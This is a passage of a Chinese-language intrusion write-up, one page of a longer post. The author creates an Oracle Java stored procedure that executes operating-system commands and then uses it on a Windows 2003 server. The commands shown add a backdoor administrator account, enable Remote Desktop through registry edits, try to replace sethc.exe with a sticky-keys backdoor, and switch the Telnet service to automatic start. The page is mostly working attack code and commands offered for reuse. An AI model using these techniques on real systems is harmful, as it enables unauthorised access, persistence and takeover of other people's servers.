java存储过程:
第一步:
以下是引用片段: create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } |
第二步:
以下是引用片段: create or replace function RUN_CMz(p_cmd in varchar2) return number as language java name ’util.RunThis(java.lang.String) return integer’; |
第三步:
以下是引用片段: create or replace procedure RC(p_cmd in varChar) as x number; begin x := RUN_CMz(p_cmd); end; |
创建完之后,就可以通过x := RUN_CMz(dos命令)来执行系统命令了。建完存储过程后系统命令执行成功, 如图

但是后来发现这个shell很不爽,如果遇到需要交互的命令就会卡死,刚开始想用"ftp 我的ip地址"检测下能不能执行,结果卡死,我这边防火墙也没反应,不解,后tasklist,发现ftp://ftp.exe/,确定对方不能连接外网,可能有防火墙或作了设置,于是用ftp传马思路抛弃,打个systeninfo命令看下系统,是2003,于是打算先建个超级用户然后开3389,执行exec :x := RUN_CMD('net user')结果卡死,猜测net被删,执行
exec :x := RUN_CMD('net1 user');
成功,执行
exec :x := RUN_CMD('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
成功,下面用reg命令读下3389的状态和端口,执行
exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');
发现fDenyTSconnections值为1,说明3389关闭,于是依次执行以下语句开3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
因为cmd一交互就卡死,所以加了个/f强行参数,搞定后运行mstsc连接,结果另人吐血,能连上但是却没有登录窗口,提示说什么" awgina.dll被替换成未知版本",猜测可能把3389用到的dll给删除了,因为虽然不能登录但可以连接,于是想到了替换sethc.exe,在shell下依次执行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
按五次shift后发现没替换成功,也没删除成功,推断原因只有一个,就是没权限,但是我在前面用java建shell前专门赋予了权限的,不解,百度一番!发现赋予文件操作权限必须得以dba的方式登录,但是前面说了我们无法以dba方式登录,顿时大脑一片空白,没有写和删除权限,只有运行权限,思路一下少了很多,继续!!忽然想到了telnet,用reg查看了下telnet服务的状态为禁用,于是执行
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f
把telnet服务设置为自动,然后就是想办法让服务器重启开telnet。
上一页 [1] [2] [3] [4] 下一页